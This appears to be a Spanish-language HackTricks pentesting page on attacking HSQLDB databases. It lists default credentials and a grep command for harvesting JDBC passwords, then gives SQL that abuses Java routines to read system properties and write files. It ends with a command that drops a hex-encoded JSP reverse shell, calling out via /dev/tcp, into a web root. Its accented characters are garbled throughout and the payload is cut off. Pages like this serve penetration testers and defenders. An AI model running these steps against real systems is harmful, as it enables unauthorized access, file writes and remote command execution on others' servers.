tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Informaci贸n B谩sica
HSQLDB (HyperSQL DataBase) es el sistema de base de datos relacional SQL l铆der escrito en Java. Ofrece un motor de base de datos peque帽o, r谩pido, multihilo y transaccional con tablas en memoria y basadas en disco, y soporta modos embebidos y de servidor.
Puerto por defecto: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Informaci贸n
Configuraciones Predeterminadas
Ten en cuenta que por defecto este servicio probablemente est茅 ejecut谩ndose en memoria o est茅 vinculado a localhost. Si lo encontraste, probablemente explotaste otro servicio y est谩s buscando escalar privilegios.
Las credenciales predeterminadas suelen ser sa
con una contrase帽a en blanco.
Si has explotado otro servicio, busca posibles credenciales usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Tenga en cuenta el nombre de la base de datos cuidadosamente; lo necesitar谩 para conectarse.
Recolecci贸n de Informaci贸n
Con茅ctese a la instancia de la base de datos descargando HSQLDB y extrayendo hsqldb/lib/hsqldb.jar
. Ejecute la aplicaci贸n GUI (eww) usando java -jar hsqldb.jar
y con茅ctese a la instancia utilizando las credenciales descubiertas/d茅biles.
Tenga en cuenta que la URL de conexi贸n se ver谩 algo as铆 para un sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Trucos
Rutinas del Lenguaje Java
Podemos llamar a m茅todos est谩ticos de una clase de Java desde HSQLDB utilizando Rutinas del Lenguaje Java. Tenga en cuenta que la clase llamada debe estar en el classpath de la aplicaci贸n.
Las JRTs pueden ser functions
o procedures
. Las funciones se pueden llamar a trav茅s de declaraciones SQL si el m茅todo de Java devuelve una o m谩s variables primitivas compatibles con SQL. Se invocan utilizando la declaraci贸n VALUES
.
Si el m茅todo de Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la declaraci贸n CALL
.
Lectura de Propiedades del Sistema Java
Crear funci贸n:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Ejecutar funci贸n:
VALUES(getsystemproperty('user.name'))
Puedes encontrar una lista de propiedades del sistema aqu铆.
Escribir contenido en un archivo
Puedes usar el com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
gadget de Java ubicado en el JDK (cargado autom谩ticamente en el class path de la aplicaci贸n) para escribir elementos codificados en hex en el disco a trav茅s de un procedimiento personalizado. Nota el tama帽o m谩ximo de 1024 bytes.
Crear procedimiento:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Ejecutar procedimiento:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.